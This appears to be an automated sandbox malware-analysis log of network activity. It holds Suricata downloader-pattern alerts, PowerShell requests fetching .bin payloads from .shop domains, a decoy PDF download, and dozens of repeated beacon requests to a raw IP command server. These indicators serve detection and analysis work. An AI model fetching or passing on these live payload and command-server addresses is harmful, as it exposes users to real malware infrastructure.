Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50066 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50067 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50068 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50069 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50070 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50071 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50072 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50073 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50074 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50075 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50076 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50077 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50078 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50079 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50080 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50081 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50082 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50083 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50085 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50088 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50089 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50093 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50094 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50095 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50097 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50098 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50099 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50101 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50103 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50105 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50106 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50107 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50108 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50111 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50114 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50115 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50119 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50121 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50113 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50125 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49746 -> 188.114.97.6:443

Source: global traffic	HTTP traffic detected: GET /3VKKE.mp4 HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: static.klipxuhaq.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/uz/7552973650/u.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: cndef1.green-pathways.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/uz/7552973650/nnn.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: cndef1.green-pathways.shop

Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.75

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00C229BA InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

19_2_00C229BA

Source: global traffic	HTTP traffic detected: GET /3VKKE.mp4 HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: static.klipxuhaq.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /pdf/cloudviewer/ref095vq842r70/3rd/party/authorisation/form/20241210/docs/w3/ref095vq842r70_3rd_party_authorisation_form.pdf HTTP/1.1Host: csp-invoices-v5.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/uz/7552973650/u.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: cndef1.green-pathways.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/uz/7552973650/nnn.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: cndef1.green-pathways.shop
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
